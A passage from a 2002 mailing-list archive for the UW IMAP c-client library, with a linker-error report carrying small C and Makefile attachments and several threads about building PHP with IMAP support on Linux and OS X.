`SSL_shutdown' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:686: undefined reference to `SSL_free' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:690: undefined reference to `SSL_CTX_free' /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../libc-client.a(osdep.o): In function `ssl_server_init': /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:771: undefined reference to `ERR_load_crypto_strings' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:772: undefined reference to `SSL_load_error_strings' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:782: undefined reference to `TLSv1_server_method' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:782: undefined reference to `SSLv23_server_method' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:782: undefined reference to `SSL_CTX_new' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:788: undefined reference to `SSL_CTX_ctrl' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:790: undefined reference to `SSL_CTX_set_cipher_list' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:794: undefined reference to `SSL_CTX_use_certificate_chain_file' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:798: undefined reference to `SSL_CTX_use_RSAPrivateKey_file' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:804: undefined reference to `SSL_CTX_ctrl' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:805: undefined reference to `SSL_CTX_set_tmp_rsa_callback' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:807: undefined reference to `SSL_new' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:811: undefined reference to `SSL_set_fd' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:813: undefined reference to `SSL_accept' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:834: undefined reference to `ERR_error_string' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:834: undefined reference to `ERR_get_error' /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../libc-client.a(osdep.o): In function `ssl_genkey': /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:852: undefined reference to `RSA_generate_key' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:856: undefined reference to `ERR_error_string' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:856: undefined reference to `ERR_get_error' /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../libc-client.a(osdep.o): In function `ssl_server_input_wait': /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:876: undefined reference to `SSL_get_fd' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:879: undefined reference to `SSL_pending' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:879: undefined reference to `SSL_read' collect2: ld returned 1 exit status make: *** [test] Error=20 --=20 Guy Davis Phone: (403) 301-3426 Fax: (403) 301-3499 Pason Systems Calgary, Alberta Canada Digitally signed by GnuPG (DSA ID 759A998E at www.keyserver.net) PGP Fingerprint: F685 97D0 0FC6 F016 E9EB CCD3 F183 1BC7 759A 998E=20 --=-/zPs4oAjhdk0EuKACf49 Content-Disposition: attachment; filename=Makefile Content-Type: text/x-makefile; name=Makefile; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable all: test test.o: test.c gcc -Wall -g -O0 -D_GNU_SOURCE -c test.c imap.o: imap.c gcc -Wall -g -O0 -D_GNU_SOURCE -c imap.c test: test.o imap.o gcc test.o imap.o -o test -lc-client clean: rm -f *.o test=20 --=-/zPs4oAjhdk0EuKACf49 Content-Disposition: attachment; filename=imap.c Content-Type: text/x-c; name=imap.c; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable /**************************************************************************= *** Callbacks for c-client libimap calls. $Id$ Copyright (c) 2002 Pason Systems Corp., Calgary, Canada All rights reserved. ***************************************************************************= **/ #include #include void mm_searched (MAILSTREAM *stream,unsigned long number) { } void mm_exists (MAILSTREAM *stream,unsigned long number) { } void mm_expunged (MAILSTREAM *stream,unsigned long number) { } void mm_flags (MAILSTREAM *stream,unsigned long number) { } void mm_notify (MAILSTREAM *stream,char *string,long errflg) { mm_log (string,errflg); } void mm_list (MAILSTREAM *stream,int delimiter,char *mailbox,long attribute= s) { } void mm_lsub (MAILSTREAM *stream,int delimiter,char *mailbox,long attribute= s) { } void mm_status (MAILSTREAM *stream,char *mailbox,MAILSTATUS *status) { } void mm_log (char *string,long errflg) { switch ((short) errflg) { case 0: printf ("[%s]\n",string); break; case PARSE: case WARN: printf ("%%%s\n",string); break; case ERROR: printf ("?%s\n",string); break; } } void mm_dlog (char *string) { puts (string); } /* Callback invoked by c-client to determine the host, user, * and password to connect to. */ void mm_login (NETMBX *mb,char *user,char *pwd,long trial) { =20 } void mm_critical (MAILSTREAM *stream) { } void mm_nocritical (MAILSTREAM *stream) { } long mm_diskerror (MAILSTREAM *stream,long errcode,long serious) { #if UNIXLIKE kill (getpid (),SIGSTOP); #else abort (); #endif return 0; } void mm_fatal (char *string) { printf ("?%s\n",string); } --=-/zPs4oAjhdk0EuKACf49 Content-Disposition: attachment; filename=test.c Content-Type: text/x-c; name=test.c; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable #include #include int main(int argc, char *argv[]) { MAILSTREAM *queue =3D NULL; fprintf(stderr, "Starting admin posting run...\n"); queue =3D mail_open(queue, "INBOX", 0); =20 return 0; } --=-/zPs4oAjhdk0EuKACf49-- --=-J7q+A19+PMkmKclmfeXu Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9RX1C8YMbx3WamY4RAqSzAJ98bbeg22g0D3aqS5QaQq6zJiIL+ACeLb7P f0+K12mVl1jViiJ6UYVjwZM= =tQTE -----END PGP SIGNATURE----- --=-J7q+A19+PMkmKclmfeXu-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 5 10:20:12 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Aug 2002 10:20:12 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g75HKB2P032598 for ; Mon, 5 Aug 2002 10:20:11 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Aug 05 10:20:10 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g75HK9nv030771 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 5 Aug 2002 10:20:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g75HJAlZ023404; Mon, 5 Aug 2002 10:19:10 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g75HEjeY018748 for ; Mon, 5 Aug 2002 10:14:45 -0700 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Aug 05 10:14:44 2002 -0700 Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g75HEhbq007075 for ; Mon, 5 Aug 2002 10:14:43 -0700 Received: (qmail 10307 invoked by uid 0); 5 Aug 2002 17:14:42 -0000 Received: from mtpc11-80.hdm-stuttgart.de (HELO MTPC1180) (141.62.11.80) by mail.gmx.net (mp009-rz3) with SMTP; 5 Aug 2002 17:14:42 -0000 Message-Id: <005d01c23ca4$adedef70$500b3e8d@hdmstuttgart.de> Date: Mon, 5 Aug 2002 19:22:30 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "andy" To: Subject: settup problem cant connect to uw-imap server MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi everybody, I just installed c-client the first time and now I would like to hook up via horde (a webmailer) to the imap server. c-client is installed properly and horde workes with other imap servers. I tryed to login to my main account via imap but I do get only the message that login info is not correct. There was nothing I did after installing c-client. So this might be a config issue. Can anybody point me into the right direction on how to configure uw-imap to loggin to? Thanx for any help, Andy -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 6 14:06:34 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Aug 2002 14:06:34 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g76L6Y2P022167 for ; Tue, 6 Aug 2002 14:06:34 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Aug 06 14:06:33 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g76L6JXF005312 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 6 Aug 2002 14:06:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g76L5IR8034724; Tue, 6 Aug 2002 14:05:18 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g76L2oeY086962 for ; Tue, 6 Aug 2002 14:02:51 -0700 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Aug 06 14:02:50 2002 -0700 Received: from mail.way.com.ar (mail.way.com.ar [200.80.34.15]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g76L2mbq022134 for ; Tue, 6 Aug 2002 14:02:49 -0700 Received: from www2 (www2.way.com.ar [200.80.34.3]) by mail.way.com.ar (8.9.3/8.9.3) with SMTP id RAA15302 for ; Tue, 6 Aug 2002 17:48:13 -0400 Message-Id: <00e201c23d8d$041a7100$0100000a@www2> Date: Tue, 6 Aug 2002 18:05:38 -0300 Reply-To: "Ana Paula Sabelli" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Ana Paula Sabelli" To: Subject: Fw: PHP with IMAP MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00DF_01C23D73.DEB01410" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_00DF_01C23D73.DEB01410 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, this is my first message to the list. I have a Linux 6.2 with = kernel 2.2.14-5.0. I have installed IMAP-2002.RC2 and PHP 4.2.2 I configured PHP like this: ./configure --with-mysql --with-apxs=3D/usr/local/apache/bin/apxs = --with-gettext --with-xml --with-mcrypt=3D/usr/local --with-imap = --with-kerberos when I restart the Apache 1.3.26, it doesn=B4t work. The error is: " Cannot load /usr/local/apache/libexec/libphp4.so into = server: /usr/local/apache/libexec/libphp4.so: undefined = symbol: imap_setacl" Can you help me? TIA ------=_NextPart_000_00DF_01C23D73.DEB01410 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
     
    Hello, this is my first message to the = list. I have=20 a Linux 6.2  with kernel 2.2.14-5.0.
    I have installed IMAP-2002.RC2 and PHP=20 4.2.2
    I configured PHP like = this:
    ./configure --with-mysql=20 --with-apxs=3D/usr/local/apache/bin/apxs --with-gettext --with-xml=20 --with-mcrypt=3D/usr/local --with-imap --with-kerberos
     
    when I restart the Apache 1.3.26, it = doesn=B4t=20 work.
    The error is: " Cannot load=20 /usr/local/apache/libexec/libphp4.so into server:
              &nbs= p;        =20 /usr/local/apache/libexec/libphp4.so: undefined symbol:=20 imap_setacl"
     
     
    Can you help me?
     
    TIA
    ------=_NextPart_000_00DF_01C23D73.DEB01410-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 8 08:58:40 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Aug 2002 08:58:39 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g78Fwd2P009590 for ; Thu, 8 Aug 2002 08:58:39 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Thu Aug 08 08:58:37 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g78FwaIH003184 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 8 Aug 2002 08:58:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g78FvjlZ031468; Thu, 8 Aug 2002 08:57:46 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g78FsjeY063872 for ; Thu, 8 Aug 2002 08:54:45 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Thu Aug 08 08:54:38 2002 -0700 Received: from secure4.developerschoice.net ([209.69.207.2]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g78Fscbq015585 for ; Thu, 8 Aug 2002 08:54:38 -0700 Received: from taylor.developerschoice.net ([209.69.206.2] helo=office3 ident=hidden-user) by secure4.developerschoice.net with asmtp (Exim 3.34 #4) id 17cpa8-00048l-00; Thu, 08 Aug 2002 11:52:12 -0400 Message-Id: <7DFBE66616403040B7740D9380A671C702A637@EXCHANGE1.developerschoice.com> Date: Thu, 8 Aug 2002 11:47:27 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jeff Breitner" To: "'Ana Paula Sabelli'" , Subject: RE: PHP with IMAP In-Reply-To: <00e201c23d8d$041a7100$0100000a@www2> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0002_01C23ED1.628A4130" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0002_01C23ED1.628A4130 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Try this method: =20 http://www.php.net/manual/en/ref.imap.php =20 Pay particular attention to the part about copying the header files both in the primary documentation and the user comments. You may find more relevant information in the user comments, especially the part about copying *.h from src/c-client into /usr/local/include (or wher ever they say to put it). =20 Keep in mind that this is *not* a c-client problem, it's a PHP compilation problem. -----Original Message----- From: C-CLIENT-owner@u.washington.edu [mailto:C-CLIENT-owner@u.washington.edu] On Behalf Of Ana Paula Sabelli Sent: Tuesday, August 06, 2002 5:06 PM To: c-client@u.washington.edu Subject: Fw: PHP with IMAP =20 Hello, this is my first message to the list. I have a Linux 6.2 with kernel 2.2.14-5.0. I have installed IMAP-2002.RC2 and PHP 4.2.2 I configured PHP like this: ./configure --with-mysql --with-apxs=3D/usr/local/apache/bin/apxs --with-gettext --with-xml --with-mcrypt=3D/usr/local --with-imap --with-kerberos =20 when I restart the Apache 1.3.26, it doesn=B4t work. The error is: " Cannot load /usr/local/apache/libexec/libphp4.so into server: /usr/local/apache/libexec/libphp4.so: undefined symbol: imap_setacl" =20 =20 Can you help me? =20 TIA ------=_NextPart_000_0002_01C23ED1.628A4130 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message
    Try=20 this method:
     
    http://www.php.net/man= ual/en/ref.imap.php
     
    Pay=20 particular attention to the part about copying the header files both in = the=20 primary documentation and the user comments.  You may find more = relevant=20 information in the user comments, especially the part about copying *.h = from=20 src/c-client into /usr/local/include (or wher ever they say to put=20 it).
     
    Keep=20 in mind that this is *not* a c-client problem, it's a PHP compilation=20 problem.
    -----Original Message-----
    From:=20 C-CLIENT-owner@u.washington.edu = [mailto:C-CLIENT-owner@u.washington.edu] On=20 Behalf Of Ana Paula Sabelli
    Sent: Tuesday, August 06, = 2002 5:06=20 PM
    To: c-client@u.washington.edu
    Subject: Fw: PHP = with=20 IMAP

     
    Hello, this is my first message to = the list. I=20 have a Linux 6.2  with kernel 2.2.14-5.0.
    I have installed IMAP-2002.RC2 and = PHP=20 4.2.2
    I configured PHP like = this:
    ./configure --with-mysql=20 --with-apxs=3D/usr/local/apache/bin/apxs --with-gettext --with-xml=20 --with-mcrypt=3D/usr/local --with-imap --with-kerberos
     
    when I restart the Apache 1.3.26, it = doesn=B4t=20 work.
    The error is: " Cannot load=20 /usr/local/apache/libexec/libphp4.so into server:
              &nbs= p;        =20 /usr/local/apache/libexec/libphp4.so: undefined symbol:=20 imap_setacl"
     
     
    Can you help me?
     
    TIA
    ------=_NextPart_000_0002_01C23ED1.628A4130-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 8 13:09:12 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Aug 2002 13:09:12 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g78K9C2P019329 for ; Thu, 8 Aug 2002 13:09:12 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Aug 08 13:09:11 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g78K94IH012161 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 8 Aug 2002 13:09:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g78K8Qqt020954; Thu, 8 Aug 2002 13:08:27 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g78K6meY039428 for ; Thu, 8 Aug 2002 13:06:48 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Thu Aug 08 13:06:47 2002 -0700 Received: from mail.gearyweb.com ([166.70.44.49]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g78K6lbq011027 for ; Thu, 8 Aug 2002 13:06:47 -0700 Received: from localhost (unknown [166.70.44.49]) by mail.gearyweb.com (Postfix) with ESMTP id 7206132DC5 for ; Thu, 8 Aug 2002 14:06:40 -0600 (MDT) Message-Id: <154DB9F8-AB0A-11D6-9023-003065B85DAA@gearyweb.com> Date: Thu, 8 Aug 2002 14:04:44 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Michael Geary To: c-client@u.washington.edu Subject: getting PHP --with-imap to work on OS X? Mime-Version: 1.0 (Apple Message framework v482) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN HI Folks, pardon me if this question is too tangential to c-client, but I'm hoping that some of you here can help me. I am trying to get IMP, a webmail imap client, to run on my OS X machine. I have successfully compiled Apache, MySQL, UW-IMAP, and to some extent, PHP 4.2.2. However, I cannot get PHP to compile with imap support. I don't know if I'm simply pointing to the wrong directories, or if it's a code issue... From what I understand, the PHP imap support has a close (though unknown to me) relationship with c-client. Has anyone done this? I'd be really grateful for any help at all. Thanks very much, Michael Geary -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 8 13:37:20 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Aug 2002 13:37:20 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g78KbK2P020322 for ; Thu, 8 Aug 2002 13:37:20 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Aug 08 13:37:17 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g78KbHXF018861 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 8 Aug 2002 13:37:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g78KXXlZ015288; Thu, 8 Aug 2002 13:33:33 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g78KVreY063844 for ; Thu, 8 Aug 2002 13:31:53 -0700 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Aug 08 13:31:52 2002 -0700 Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g78KVpbq020712 for ; Thu, 8 Aug 2002 13:31:52 -0700 Received: (qmail 7821 invoked by uid 0); 8 Aug 2002 20:31:50 -0000 Received: from mtpc11-80.hdm-stuttgart.de (HELO MTPC1180) (141.62.11.80) by mail.gmx.net (mp009-rz3) with SMTP; 8 Aug 2002 20:31:50 -0000 Message-Id: <006101c23f1b$be8e0300$500b3e8d@hdmstuttgart.de> Date: Thu, 8 Aug 2002 22:39:48 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "andy" To: "Michael Geary" Cc: Subject: Re: getting PHP --with-imap to work on OS X? References: <154DB9F8-AB0A-11D6-9023-003065B85DAA@gearyweb.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Michael: havent done this on X but on suse. So basicly you have to install the c-library. doc comes with it to compile php with imap support. I did this to get horde running. Good luck, Andy ################## http://www.ozforum.info ----- Original Message ----- From: "Michael Geary" To: Sent: Thursday, August 08, 2002 10:04 PM Subject: getting PHP --with-imap to work on OS X? > HI Folks, > > pardon me if this question is too tangential to c-client, but I'm hoping > that some of you here can help me. > > I am trying to get IMP, a webmail imap client, to run on my OS X > machine. I have successfully compiled Apache, MySQL, UW-IMAP, and to > some extent, PHP 4.2.2. However, I cannot get PHP to compile with imap > support. I don't know if I'm simply pointing to the wrong directories, > or if it's a code issue... > > From what I understand, the PHP imap support has a close (though unknown > to me) relationship with c-client. > > Has anyone done this? I'd be really grateful for any help at all. > > Thanks very much, > > Michael Geary > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 8 14:44:09 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Aug 2002 14:44:09 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g78Li92P022770 for ; Thu, 8 Aug 2002 14:44:09 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Aug 08 14:44:02 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g78Li1XF021088 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 8 Aug 2002 14:44:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g78LhPqt009762; Thu, 8 Aug 2002 14:43:26 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g78Lf1eY094696 for ; Thu, 8 Aug 2002 14:41:01 -0700 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Aug 08 14:40:55 2002 -0700 Received: from mail.gearyweb.com ([166.70.44.49]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g78LesR8000794 for ; Thu, 8 Aug 2002 14:40:55 -0700 Received: from localhost (unknown [166.70.44.49]) by mail.gearyweb.com (Postfix) with ESMTP id AFFA832E43; Thu, 8 Aug 2002 15:40:47 -0600 (MDT) Message-Id: <42CC82AA-AB17-11D6-BA59-003065B85DAA@gearyweb.com> Date: Thu, 8 Aug 2002 15:39:04 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Michael Geary To: Chris Bunch , c-client@u.washington.edu Subject: Re: getting PHP --with-imap to work on OS X? In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v482) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Chris, Unfortunately, Marc L., whose page you refer me to, cannot remember what he did to get IMAP support enabled on PHP/OS X (I emailed him yesterday), and I can't use his library, because it only works with Apple's Apache, and I'm using a self-compiled version... :c( However, I will check out SquirrelMail... Thanks. I'd still appreciate any other tips anyone has to offer. -michael On Thursday, August 8, 2002, at 03:34 PM, Chris Bunch wrote: > > Its not too difficult to get PHP running with IMAP support on OS X (see > http://www.entropy.ch/software/macosx/php/ ) but was unable to get IMP > to > work because of difficulties with PEAR and Mac OS X. So I settled on > SquirrelMail (http://www.squirrelmail.org/ ) as a web client which works > with IMAP. I have it running with UW IMAP (see > http://news.bayswaterfarm.com/SquirrelMail ) > > C From pinedev@shivax2.cac.washington.edu Thu Aug 8 23:14:14 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Aug 2002 23:14:13 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g796ED2P003674 for ; Thu, 8 Aug 2002 23:14:13 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Aug 08 23:14:13 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g796ECXF000647 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 8 Aug 2002 23:14:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g796D0R8037660; Thu, 8 Aug 2002 